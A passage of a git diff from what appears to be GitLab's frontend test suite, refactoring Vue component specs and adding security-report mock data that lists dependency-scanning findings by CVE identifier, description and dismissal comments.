- expect(valueComp.text()).toBe('None');
-
- wrapperDropdownValue.destroy();
- });
+ expect(valueComp.exists()).toBe(true);
+ expect(valueComp.text()).toBe('None');
});
- it('renders `dropdown-button` component when `showDropdownButton` prop is `true`', () => {
+ it('renders `dropdown-button` component when `showDropdownButton` prop is `true`', async () => {
+ createComponent();
wrapper.vm.$store.dispatch('toggleDropdownButton');
-
+ await wrapper.vm.$nextTick;
expect(wrapper.find(DropdownButton).exists()).toBe(true);
});
- it('renders `dropdown-contents` component when `showDropdownButton` & `showDropdownContents` prop is `true`', () => {
+ it('renders `dropdown-contents` component when `showDropdownButton` & `showDropdownContents` prop is `true`', async () => {
+ createComponent();
wrapper.vm.$store.dispatch('toggleDropdownContents');
-
- return wrapper.vm.$nextTick(() => {
- expect(wrapper.find(DropdownContents).exists()).toBe(true);
- });
+ await wrapper.vm.$nextTick;
+ expect(wrapper.find(DropdownContents).exists()).toBe(true);
});
describe('sets content direction based on viewport', () => {
- it('does not set direction when `state.variant` is not "embedded"', () => {
- wrapper.vm.$store.dispatch('toggleDropdownContents');
+ it('does not set direction when `state.variant` is not "embedded"', async () => {
+ createComponent();
+ wrapper.vm.$store.dispatch('toggleDropdownContents');
wrapper.vm.setContentIsOnViewport(wrapper.vm.$store.state);
+ await wrapper.vm.$nextTick;
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(DropdownContents).props('renderOnTop')).toBe(false);
- });
+ expect(wrapper.find(DropdownContents).props('renderOnTop')).toBe(false);
});
describe('when `state.variant` is "embedded"', () => {
beforeEach(() => {
- wrapper = createComponent({ ...mockConfig, variant: 'embedded' });
+ createComponent({ ...mockConfig, variant: 'embedded' });
wrapper.vm.$store.dispatch('toggleDropdownContents');
});
@@ -216,4 +226,22 @@ describe('LabelsSelectRoot', () => {
});
});
});
+
+ it('calls toggleDropdownContents action when isEditing prop is changing to true', async () => {
+ createComponent();
+
+ jest.spyOn(store, 'dispatch').mockResolvedValue();
+ await wrapper.setProps({ isEditing: true });
+
+ expect(store.dispatch).toHaveBeenCalledWith('toggleDropdownContents');
+ });
+
+ it('does not call toggleDropdownContents action when isEditing prop is changing to false', async () => {
+ createComponent();
+
+ jest.spyOn(store, 'dispatch').mockResolvedValue();
+ await wrapper.setProps({ isEditing: false });
+
+ expect(store.dispatch).not.toHaveBeenCalled();
+ });
});
diff --git a/spec/frontend/vue_shared/components/toggle_button_spec.js b/spec/frontend/vue_shared/components/toggle_button_spec.js
index f58647ff12b..2822b1999bc 100644
--- a/spec/frontend/vue_shared/components/toggle_button_spec.js
+++ b/spec/frontend/vue_shared/components/toggle_button_spec.js
@@ -1,101 +1,96 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import toggleButton from '~/vue_shared/components/toggle_button.vue';
+import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
+import ToggleButton from '~/vue_shared/components/toggle_button.vue';
-describe('Toggle Button', () => {
- let vm;
- let Component;
+describe('Toggle Button component', () => {
+ let wrapper;
- beforeEach(() => {
- Component = Vue.extend(toggleButton);
- });
+ function createComponent(propsData = {}) {
+ wrapper = shallowMount(ToggleButton, {
+ propsData,
+ });
+ }
+
+ const findInput = () => wrapper.find('input');
+ const findButton = () => wrapper.find('button');
+ const findToggleIcon = () => wrapper.find(GlIcon);
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
+ wrapper = null;
});
- describe('render output', () => {
- beforeEach(() => {
- vm = mountComponent(Component, {
- value: true,
- name: 'foo',
- });
- });
-
- it('renders input with provided name', () => {
- expect(vm.$el.querySelector('input').getAttribute('name')).toEqual('foo');
+ it('renders input with provided name', () => {
+ createComponent({
+ name: 'foo',
});
- it('renders input with provided value', () => {
- expect(vm.$el.querySelector('input').getAttribute('value')).toEqual('true');
- });
-
- it('renders input status icon', () => {
- expect(vm.$el.querySelectorAll('span.toggle-icon').length).toEqual(1);
- expect(vm.$el.querySelectorAll('svg.s18').length).toEqual(1);
- });
+ expect(findInput().attributes('name')).toBe('foo');
});
- describe('is-checked', () => {
+ describe.each`
+ value | iconName
+ ${true} | ${'status_success_borderless'}
+ ${false} | ${'status_failed_borderless'}
+ `('when `value` prop is `$value`', ({ value, iconName }) => {
beforeEach(() => {
- vm = mountComponent(Component, {
- value: true,
+ createComponent({
+ value,
+ name: 'foo',
});
-
- jest.spyOn(vm, '$emit').mockImplementation(() => {});
});
- it('renders is checked class', () => {
- expect(vm.$el.querySelector('button').classList.contains('is-checked')).toEqual(true);
+ it('renders input with correct value attribute', () => {
+ expect(findInput().attributes('value')).toBe(`${value}`);
});
- it('sets aria-label representing toggle state', () => {
- vm.value = true;
-
- expect(vm.ariaLabel).toEqual('Toggle Status: ON');
-
- vm.value = false;
-
- expect(vm.ariaLabel).toEqual('Toggle Status: OFF');
+ it('renders correct icon', () => {
+ const icon = findToggleIcon();
+ expect(icon.isVisible()).toBe(true);
+ expect(icon.props('name')).toBe(iconName);
+ expect(findButton().classes('is-checked')).toBe(value);
});
- it('emits change event when clicked', () => {
- vm.$el.querySelector('button').click();
+ describe('when clicked', () => {
+ it('emits `change` event with correct event', async () => {
+ findButton().trigger('click');
+ await wrapper.vm.$nextTick();
- expect(vm.$emit).toHaveBeenCalledWith('change', false);
+ expect(wrapper.emitted('change')).toStrictEqual([[!value]]);
+ });
});
});
- describe('is-disabled', () => {
+ describe('when `disabledInput` prop is `true`', () => {
beforeEach(() => {
- vm = mountComponent(Component, {
+ createComponent({
value: true,
disabledInput: true,
});
- jest.spyOn(vm, '$emit').mockImplementation(() => {});
});
it('renders disabled button', () => {
- expect(vm.$el.querySelector('button').classList.contains('is-disabled')).toEqual(true);
+ expect(findButton().classes()).toContain('is-disabled');
});
- it('does not emit change event when clicked', () => {
- vm.$el.querySelector('button').click();
+ it('does not emit change event when clicked', async () => {
+ findButton().trigger('click');
+ await wrapper.vm.$nextTick();
- expect(vm.$emit).not.toHaveBeenCalled();
+ expect(wrapper.emitted('change')).toBeFalsy();
});
});
- describe('is-loading', () => {
+ describe('when `isLoading` prop is `true`', () => {
beforeEach(() => {
- vm = mountComponent(Component, {
+ createComponent({
value: true,
isLoading: true,
});
});
it('renders loading class', () => {
- expect(vm.$el.querySelector('button').classList.contains('is-loading')).toEqual(true);
+ expect(findButton().classes()).toContain('is-loading');
});
});
});
diff --git a/spec/frontend/vue_shared/components/tooltip_on_truncate_spec.js b/spec/frontend/vue_shared/components/tooltip_on_truncate_spec.js
new file mode 100644
index 00000000000..175abf5aae0
--- /dev/null
+++ b/spec/frontend/vue_shared/components/tooltip_on_truncate_spec.js
@@ -0,0 +1,239 @@
+import { mount, shallowMount } from '@vue/test-utils';
+import { hasHorizontalOverflow } from '~/lib/utils/dom_utils';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+
+const DUMMY_TEXT = 'lorem-ipsum-dolar-sit-amit-consectur-adipiscing-elit-sed-do';
+
+const createChildElement = () => `<a href="#">${DUMMY_TEXT}</a>`;
+
+jest.mock('~/lib/utils/dom_utils', () => ({
+ hasHorizontalOverflow: jest.fn(() => {
+ throw new Error('this needs to be mocked');
+ }),
+}));
+
+describe('TooltipOnTruncate component', () => {
+ let wrapper;
+ let parent;
+
+ const createComponent = ({ propsData, ...options } = {}) => {
+ wrapper = shallowMount(TooltipOnTruncate, {
+ attachToDocument: true,
+ propsData: {
+ ...propsData,
+ },
+ ...options,
+ });
+ };
+
+ const createWrappedComponent = ({ propsData, ...options }) => {
+ // set a parent around the tested component
+ parent = mount(
+ {
+ props: {
+ title: { default: '' },
+ },
+ template: `
+ <TooltipOnTruncate :title="title" truncate-target="child">
+ <div>{{title}}</div>
+ </TooltipOnTruncate>
+ `,
+ components: {
+ TooltipOnTruncate,
+ },
+ },
+ {
+ propsData: { ...propsData },
+ attachToDocument: true,
+ ...options,
+ },
+ );
+
+ wrapper = parent.find(TooltipOnTruncate);
+ };
+
+ const hasTooltip = () => wrapper.classes('js-show-tooltip');
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('with default target', () => {
+ it('renders tooltip if truncated', () => {
+ hasHorizontalOverflow.mockReturnValueOnce(true);
+ createComponent({
+ propsData: {
+ title: DUMMY_TEXT,
+ },
+ slots: {
+ default: [DUMMY_TEXT],
+ },
+ });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(hasHorizontalOverflow).toHaveBeenCalledWith(wrapper.element);
+ expect(hasTooltip()).toBe(true);
+ expect(wrapper.attributes('data-original-title')).toEqual(DUMMY_TEXT);
+ expect(wrapper.attributes('data-placement')).toEqual('top');
+ });
+ });
+
+ it('does not render tooltip if normal', () => {
+ hasHorizontalOverflow.mockReturnValueOnce(false);
+ createComponent({
+ propsData: {
+ title: DUMMY_TEXT,
+ },
+ slots: {
+ default: [DUMMY_TEXT],
+ },
+ });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(hasHorizontalOverflow).toHaveBeenCalledWith(wrapper.element);
+ expect(hasTooltip()).toBe(false);
+ });
+ });
+ });
+
+ describe('with child target', () => {
+ it('renders tooltip if truncated', () => {
+ hasHorizontalOverflow.mockReturnValueOnce(true);
+ createComponent({
+ propsData: {
+ title: DUMMY_TEXT,
+ truncateTarget: 'child',
+ },
+ slots: {
+ default: createChildElement(),
+ },
+ });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(hasHorizontalOverflow).toHaveBeenCalledWith(wrapper.element.childNodes[0]);
+ expect(hasTooltip()).toBe(true);
+ });
+ });
+
+ it('does not render tooltip if normal', () => {
+ hasHorizontalOverflow.mockReturnValueOnce(false);
+ createComponent({
+ propsData: {
+ truncateTarget: 'child',
+ },
+ slots: {
+ default: createChildElement(),
+ },
+ });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(hasHorizontalOverflow).toHaveBeenCalledWith(wrapper.element.childNodes[0]);
+ expect(hasTooltip()).toBe(false);
+ });
+ });
+ });
+
+ describe('with fn target', () => {
+ it('renders tooltip if truncated', () => {
+ hasHorizontalOverflow.mockReturnValueOnce(true);
+ createComponent({
+ propsData: {
+ title: DUMMY_TEXT,
+ truncateTarget: el => el.childNodes[1],
+ },
+ slots: {
+ default: [createChildElement(), createChildElement()],
+ },
+ });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(hasHorizontalOverflow).toHaveBeenCalledWith(wrapper.element.childNodes[1]);
+ expect(hasTooltip()).toBe(true);
+ });
+ });
+ });
+
+ describe('placement', () => {
+ it('sets data-placement when tooltip is rendered', () => {
+ const placement = 'bottom';
+
+ hasHorizontalOverflow.mockReturnValueOnce(true);
+ createComponent({
+ propsData: {
+ placement,
+ },
+ slots: {
+ default: DUMMY_TEXT,
+ },
+ });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(hasTooltip()).toBe(true);
+ expect(wrapper.attributes('data-placement')).toEqual(placement);
+ });
+ });
+ });
+
+ describe('updates when title and slot content changes', () => {
+ describe('is initialized with a long text', () => {
+ beforeEach(() => {
+ hasHorizontalOverflow.mockReturnValueOnce(true);
+ createWrappedComponent({
+ propsData: { title: DUMMY_TEXT },
+ });
+ return parent.vm.$nextTick();
+ });
+
+ it('renders tooltip', () => {
+ expect(hasTooltip()).toBe(true);
+ expect(wrapper.attributes('data-original-title')).toEqual(DUMMY_TEXT);
+ expect(wrapper.attributes('data-placement')).toEqual('top');
+ });
+
+ it('does not render tooltip after updated to a short text', () => {
+ hasHorizontalOverflow.mockReturnValueOnce(false);
+ parent.setProps({
+ title: 'new-text',
+ });
+
+ return wrapper.vm
+ .$nextTick()
+ .then(() => wrapper.vm.$nextTick()) // wait 2 times to get an updated slot
+ .then(() => {
+ expect(hasTooltip()).toBe(false);
+ });
+ });
+ });
+
+ describe('is initialized with a short text', () => {
+ beforeEach(() => {
+ hasHorizontalOverflow.mockReturnValueOnce(false);
+ createWrappedComponent({
+ propsData: { title: DUMMY_TEXT },
+ });
+ return wrapper.vm.$nextTick();
+ });
+
+ it('does not render tooltip', () => {
+ expect(hasTooltip()).toBe(false);
+ });
+
+ it('renders tooltip after text is updated', () => {
+ hasHorizontalOverflow.mockReturnValueOnce(true);
+ const newText = 'new-text';
+ parent.setProps({
+ title: newText,
+ });
+
+ return wrapper.vm
+ .$nextTick()
+ .then(() => wrapper.vm.$nextTick()) // wait 2 times to get an updated slot
+ .then(() => {
+ expect(hasTooltip()).toBe(true);
+ expect(wrapper.attributes('data-original-title')).toEqual(newText);
+ expect(wrapper.attributes('data-placement')).toEqual('top');
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/security_reports/components/security_report_download_dropdown_spec.js b/spec/frontend/vue_shared/security_reports/components/security_report_download_dropdown_spec.js
new file mode 100644
index 00000000000..7e70407655a
--- /dev/null
+++ b/spec/frontend/vue_shared/security_reports/components/security_report_download_dropdown_spec.js
@@ -0,0 +1,64 @@
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import SecurityReportDownloadDropdown from '~/vue_shared/security_reports/components/security_report_download_dropdown.vue';
+
+describe('SecurityReportDownloadDropdown component', () => {
+ let wrapper;
+ let artifacts;
+
+ const createComponent = props => {
+ wrapper = shallowMount(SecurityReportDownloadDropdown, {
+ propsData: { ...props },
+ });
+ };
+
+ const findDropdown = () => wrapper.find(GlDropdown);
+ const findDropdownItems = () => wrapper.findAll(GlDropdownItem);
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('given report artifacts', () => {
+ beforeEach(() => {
+ artifacts = [
+ {
+ name: 'foo',
+ path: '/foo.json',
+ },
+ {
+ name: 'bar',
+ path: '/bar.json',
+ },
+ ];
+
+ createComponent({ artifacts });
+ });
+
+ it('renders a dropdown', () => {
+ expect(findDropdown().props('loading')).toBe(false);
+ });
+
+ it('renders a dropdown items for each artifact', () => {
+ artifacts.forEach((artifact, i) => {
+ const item = findDropdownItems().at(i);
+ expect(item.text()).toContain(artifact.name);
+ expect(item.attributes()).toMatchObject({
+ href: artifact.path,
+ download: expect.any(String),
+ });
+ });
+ });
+ });
+
+ describe('given it is loading', () => {
+ beforeEach(() => {
+ createComponent({ artifacts: [], loading: true });
+ });
+
+ it('renders a loading dropdown', () => {
+ expect(findDropdown().props('loading')).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/security_reports/mock_data.js b/spec/frontend/vue_shared/security_reports/mock_data.js
new file mode 100644
index 00000000000..e93ca8329e7
--- /dev/null
+++ b/spec/frontend/vue_shared/security_reports/mock_data.js
@@ -0,0 +1,437 @@
+import {
+ REPORT_TYPE_SAST,
+ REPORT_TYPE_SECRET_DETECTION,
+} from '~/vue_shared/security_reports/constants';
+
+export const mockFindings = [
+ {
+ id: null,
+ report_type: 'dependency_scanning',
+ name: 'Cross-site Scripting in serialize-javascript',
+ severity: 'critical',
+ scanner: {
+ external_id: 'gemnasium',
+ name: 'Gemnasium',
+ version: '1.1.1',
+ url: 'https://gitlab.com/gitlab-org/security-products/gemnasium',
+ },
+ identifiers: [
+ {
+ external_type: 'gemnasium',
+ external_id: '58caa017-9a9a-46d6-bab2-ec930f46833c',
+ name: 'Gemnasium-58caa017-9a9a-46d6-bab2-ec930f46833c',
+ url:
+ 'https://deps.sec.gitlab.com/packages/npm/serialize-javascript/versions/1.7.0/advisories',
+ },
+ {
+ external_type: 'cve',
+ external_id: 'CVE-2019-16769',
+ name: 'CVE-2019-16769',
+ url: 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16769',
+ },
+ ],
+ project_fingerprint: '09df9f4d11c8deb93d81bdcc39f7667b44143298',
+ create_vulnerability_feedback_issue_path: '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ create_vulnerability_feedback_merge_request_path:
+ '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ create_vulnerability_feedback_dismissal_path: '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ project: {
+ id: 7071551,
+ name: 'gitlab-ui',
+ full_path: '/gitlab-org/gitlab-ui',
+ full_name: 'GitLab.org / gitlab-ui',
+ },
+ dismissal_feedback: null,
+ issue_feedback: null,
+ merge_request_feedback: null,
+ description:
+ 'The serialize-javascript npm package is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.',
+ links: [{ url: 'https://nvd.nist.gov/vuln/detail/CVE-2019-16769' }],
+ location: {
+ file: 'yarn.lock',
+ dependency: { package: { name: 'serialize-javascript' }, version: '1.7.0' },
+ },
+ remediations: [null],
+ solution: 'Upgrade to version 2.1.1 or above.',
+ state: 'opened',
+ blob_path: '/gitlab-org/gitlab-ui/blob/ad137f0a8ac59af961afe47d04e5cc062c6864a9/yarn.lock',
+ evidence: 'Credit Card Detected: Diners Card',
+ },
+ {
+ id: null,
+ report_type: 'dependency_scanning',
+ name: '3rd party CORS request may execute in jquery',
+ severity: 'high',
+ scanner: { external_id: 'retire.js', name: 'Retire.js' },
+ identifiers: [
+ {
+ external_type: 'cve',
+ external_id: 'CVE-2015-9251',
+ name: 'CVE-2015-9251',
+ url: 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9251',
+ },
+ ],
+ project_fingerprint: '1ecd3b214cf39c0b9ad23a0a9679778d7cf55876',
+ create_vulnerability_feedback_issue_path: '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ create_vulnerability_feedback_merge_request_path:
+ '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ create_vulnerability_feedback_dismissal_path: '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ project: {
+ id: 7071551,
+ name: 'gitlab-ui',
+ full_path: '/gitlab-org/gitlab-ui',
+ full_name: 'GitLab.org / gitlab-ui',
+ },
+ dismissal_feedback: {
+ id: 2528,
+ created_at: '2019-08-26T12:30:32.349Z',
+ project_id: 7071551,
+ author: {
+ id: 181229,
+ name: "Lukas 'Eipi' Eipert",
+ username: 'leipert',
+ state: 'active',
+ avatar_url:
+ 'https://secure.gravatar.com/avatar/19a1f1260fa70323f35bc508927921a2?s=80\u0026d=identicon',
+ web_url: 'https://gitlab.com/leipert',
+ status_tooltip_html: null,
+ path: '/leipert',
+ },
+ comment_details: {
+ comment: 'This particular jQuery version appears in a test path of tinycolor2.\n',
+ comment_timestamp: '2019-08-26T12:30:37.610Z',
+ comment_author: {
+ id: 181229,
+ name: "Lukas 'Eipi' Eipert",
+ username: 'leipert',
+ state: 'active',
+ avatar_url:
+ 'https://secure.gravatar.com/avatar/19a1f1260fa70323f35bc508927921a2?s=80\u0026d=identicon',
+ web_url: 'https://gitlab.com/leipert',
+ status_tooltip_html: null,
+ path: '/leipert',
+ },
+ },
+ pipeline: { id: 78375355, path: '/gitlab-org/gitlab-ui/pipelines/78375355' },
+ destroy_vulnerability_feedback_dismissal_path:
+ '/gitlab-org/gitlab-ui/vulnerability_feedback/2528',
+ category: 'dependency_scanning',
+ feedback_type: 'dismissal',
+ branch: 'leipert-dogfood-secure',
+ project_fingerprint: '1ecd3b214cf39c0b9ad23a0a9679778d7cf55876',
+ },
+ issue_feedback: null,
+ merge_request_feedback: null,
+ description: null,
+ links: [
+ { url: 'https://github.com/jquery/jquery/issues/2432' },
+ { url: 'http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/' },
+ { url: 'https://nvd.nist.gov/vuln/detail/CVE-2015-9251' },
+ { url: 'http://research.insecurelabs.org/jquery/test/' },
+ ],
+ location: {
+ file: 'node_modules/tinycolor2/demo/jquery-1.9.1.js',
+ dependency: { package: { name: 'jquery' }, version: '1.9.1' },
+ },
+ remediations: [null],
+ solution: null,
+ state: 'dismissed',
+ blob_path:
+ '/gitlab-org/gitlab-ui/blob/ad137f0a8ac59af961afe47d04e5cc062c6864a9/node_modules/tinycolor2/demo/jquery-1.9.1.js',
+ },
+ {
+ id: null,
+ report_type: 'dependency_scanning',
+ name:
+ 'jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution in jquery',
+ severity: 'low',
+ scanner: { external_id: 'retire.js', name: 'Retire.js' },
+ identifiers: [
+ {
+ external_type: 'cve',
+ external_id: 'CVE-2019-11358',
+ name: 'CVE-2019-11358',
+ url: 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11358',
+ },
+ ],
+ project_fingerprint: 'aeb4b2442d92d0ccf7023f0c220bda8b4ba910e3',
+ create_vulnerability_feedback_issue_path: '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ create_vulnerability_feedback_merge_request_path:
+ '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ create_vulnerability_feedback_dismissal_path: '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ project: {
+ id: 7071551,
+ name: 'gitlab-ui',
+ full_path: '/gitlab-org/gitlab-ui',
+ full_name: 'GitLab.org / gitlab-ui',
+ },
+ dismissal_feedback: {
+ id: 4197,
+ created_at: '2019-11-14T11:03:18.472Z',
+ project_id: 7071551,
+ author: {
+ id: 181229,
+ name: "Lukas 'Eipi' Eipert",
+ username: 'leipert',
+ state: 'active',
+ avatar_url:
+ 'https://secure.gravatar.com/avatar/19a1f1260fa70323f35bc508927921a2?s=80\u0026d=identicon',
+ web_url: 'https://gitlab.com/leipert',
+ status_tooltip_html: null,
+ path: '/leipert',
+ },
+ comment_details: {
+ comment:
+ 'This is a false positive, as it just part of some documentation assets of sass-true.',
+ comment_timestamp: '2019-11-14T11:03:18.464Z',
+ comment_author: {
+ id: 181229,
+ name: "Lukas 'Eipi' Eipert",
+ username: 'leipert',
+ state: 'active',
+ avatar_url:
+ 'https://secure.gravatar.com/avatar/19a1f1260fa70323f35bc508927921a2?s=80\u0026d=identicon',
+ web_url: 'https://gitlab.com/leipert',
+ status_tooltip_html: null,
+ path: '/leipert',
+ },
+ },
+ destroy_vulnerability_feedback_dismissal_path:
+ '/gitlab-org/gitlab-ui/vulnerability_feedback/4197',
+ category: 'dependency_scanning',
+ feedback_type: 'dismissal',
+ branch: null,
+ project_fingerprint: 'aeb4b2442d92d0ccf7023f0c220bda8b4ba910e3',
+ },
+ issue_feedback: null,
+ merge_request_feedback: null,
+ description: null,
+ links: [
+ { url: 'https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/' },
+ { url: 'https://nvd.nist.gov/vuln/detail/CVE-2019-11358' },
+ { url: 'https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b' },
+ ],
+ location: {
+ file: 'node_modules/sass-true/docs/assets/webpack/common.min.js',
+ dependency: { package: { name: 'jquery' }, version: '3.3.1' },
+ },
+ remediations: [null],
+ solution: null,
+ state: 'dismissed',
+ blob_path:
+ '/gitlab-org/gitlab-ui/blob/ad137f0a8ac59af961afe47d04e5cc062c6864a9/node_modules/sass-true/docs/assets/webpack/common.min.js',
+ },
+ {
+ id: null,
+ report_type: 'dependency_scanning',
+ name:
+ 'jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution in jquery',
+ severity: 'low',
+ scanner: { external_id: 'retire.js', name: 'Retire.js' },
+ identifiers: [
+ {
+ external_type: 'cve',
+ external_id: 'CVE-2019-11358',
+ name: 'CVE-2019-11358',
+ url: 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11358',
+ },
+ ],
+ project_fingerprint: 'eb86aa13eb9d897a083ead6e134aa78aa9cadd52',
+ create_vulnerability_feedback_issue_path: '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ create_vulnerability_feedback_merge_request_path:
+ '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ create_vulnerability_feedback_dismissal_path: '/gitlab-org/gitlab-ui/vulnerability_feedback',
+ project: {
+ id: 7071551,
+ name: 'gitlab-ui',
+ full_path: '/gitlab-org/gitlab-ui',
+ full_name: 'GitLab.org / gitlab-ui',
+ },
+ dismissal_feedback: {
+ id: 2527,
+ created_at: '2019-08-26T12:29:43.624Z',
+ project_id: 7071551,
+ author: {
+ id: 181229,
+ name: "Lukas 'Eipi' Eipert",
+ username: 'leipert',
+ state: 'active',
+ avatar_url:
+ 'https://secure.gravatar.com/avatar/19a1f1260fa70323f35bc508927921a2?s=80\u0026d=identicon',
+ web_url: 'https://gitlab.com/leipert',
+ status_tooltip_html: null,
+ path: '/leipert',
+ },
+ comment_details: {
+ comment: 'This particular jQuery version appears in a test path of tinycolor2.',
+ comment_timestamp: '2019-08-26T12:30:14.840Z',
+ comment_author: {
+ id: 181229,
+ name: "Lukas 'Eipi' Eipert",
+ username: 'leipert',
+ state: 'active',
+ avatar_url:
+ 'https://secure.gravatar.com/avatar/19a1f1260fa70323f35bc508927921a2?s=80\u0026d=identicon',
+ web_url: 'https://gitlab.com/leipert',
+ status_tooltip_html: null,
+ path: '/leipert',
+ },
+ },
+ pipeline: { id: 78375355, path: '/gitlab-org/gitlab-ui/pipelines/78375355' },
+ destroy_vulnerability_feedback_dismissal_path:
+ '/gitlab-org/gitlab-ui/vulnerability_feedback/2527',
+ category: 'dependency_scanning',
+ feedback_type: 'dismissal',
+ branch: 'leipert-dogfood-secure',
+ project_fingerprint: 'eb86aa13eb9d897a083ead6e134aa78aa9cadd52',
+ },
+ issue_feedback: null,
+ merge_request_feedback: null,
+ description: null,
+ links: [
+ { url: 'https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/' },
+ { url: 'https://nvd.nist.gov/vuln/detail/CVE-2019-11358' },
+ { url: 'https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b' },
+ ],
+ location: {
+ file: 'node_modules/tinycolor2/demo/jquery-1.9.1.js',
+ dependency: { package: { name: 'jquery' }, version: '1.9.1' },
+ },
+ remediations: [null],
+ solution: null,
+ state: 'dismissed',
+ blob_path:
+ '/gitlab-org/gitlab-ui/blob/ad137f0a8ac59af961afe47d04e5cc062c6864a9/node_modules/tinycolor2/demo/jquery-1.9.1.js',
+ },
+];
+
+export const sastDiffSuccessMock = {
+ added: [mockFindings[0]],
+ fixed: [mockFindings[1], mockFindings[2]],
+ existing: [mockFindings[3]],
+ base_report_created_at: '2020-01-01T10:00:00.000Z',
+ base_report_out_of_date: false,
+ head_report_created_at: '2020-01-10T10:00:00.000Z',
+};
+
+export const secretScanningDiffSuccessMock = {
+ added: [mockFindings[0], mockFindings[1]],
+ fixed: [mockFindings[2]],
+ base_report_created_at: '2020-01-01T10:00:00.000Z',
+ base_report_out_of_date: false,
+ head_report_created_at: '2020-01-10T10:00:00.000Z',
+};
+
+export const securityReportDownloadPathsQueryResponse = {
+ project: {
+ mergeRequest: {
+ headPipeline: {
+ id: 'gid://gitlab/Ci::Pipeline/176',
+ jobs: {
+ nodes: [
+ {
+ name: 'secret_detection',
+ artifacts: {
+ nodes: [
+ {
+ downloadPath:
+ '/gitlab-org/secrets-detection-test/-/jobs/1399/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ {
+ downloadPath:
+ '/gitlab-org/secrets-detection-test/-/jobs/1399/artifacts/download?file_type=secret_detection',
+ fileType: 'SECRET_DETECTION',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
+ __typename: 'CiJob',
+ },
+ {
+ name: 'bandit-sast',
+ artifacts: {
+ nodes: [
+ {
+ downloadPath:
+ '/gitlab-org/secrets-detection-test/-/jobs/1400/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ {
+ downloadPath:
+ '/gitlab-org/secrets-detection-test/-/jobs/1400/artifacts/download?file_type=sast',
+ fileType: 'SAST',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
+ __typename: 'CiJob',
+ },
+ {
+ name: 'eslint-sast',
+ artifacts: {
+ nodes: [
+ {
+ downloadPath:
+ '/gitlab-org/secrets-detection-test/-/jobs/1401/artifacts/download?file_type=trace',
+ fileType: 'TRACE',
+ __typename: 'CiJobArtifact',
+ },
+ {
+ downloadPath:
+ '/gitlab-org/secrets-detection-test/-/jobs/1401/artifacts/download?file_type=sast',
+ fileType: 'SAST',
+ __typename: 'CiJobArtifact',
+ },
+ ],
+ __typename: 'CiJobArtifactConnection',
+ },
+ __typename: 'CiJob',
+ },
+ ],
+ __typename: 'CiJobConnection',
+ },
+ __typename: 'Pipeline',
+ },
+ __typename: 'MergeRequest',
+ },
+ __typename: 'Project',
+ },
+};
+
+/**
+ * These correspond to SAST jobs in the securityReportDownloadPathsQueryResponse above.
+ */
+export const sastArtifacts = [
+ {
+ name: 'bandit-sast',
+ reportType: REPORT_TYPE_SAST,
+ path: '/gitlab-org/secrets-detection-test/-/jobs/1400/artifacts/download?file_type=sast',
+ },
+ {
+ name: 'eslint-sast',
+ reportType: REPORT_TYPE_SAST,
+ path: '/gitlab-org/secrets-detection-test/-/jobs/1401/artifacts/download?file_type=sast',
+ },
+];
+
+/**
+ * These correspond to Secret Detection jobs in the securityReportDownloadPathsQueryResponse above.
+ */
+export const secretDetectionArtifacts = [
+ {
+ name: 'secret_detection',
+ reportType: REPORT_TYPE_SECRET_DETECTION,
+ path:
+ '/gitlab-org/secrets-detection-test/-/jobs/1399/artifacts/download?file_type=secret_detection',
+ },
+];
+
+export const expectedDownloadDropdownProps = {
+ loading: false,
+ artifacts: [...secretDetectionArtifacts, ...sastArtifacts],
+};
diff --git a/spec/frontend/vue_shared/security_reports/security_reports_app_spec.js b/spec/frontend/vue_shared/security_reports/security_reports_app_spec.js
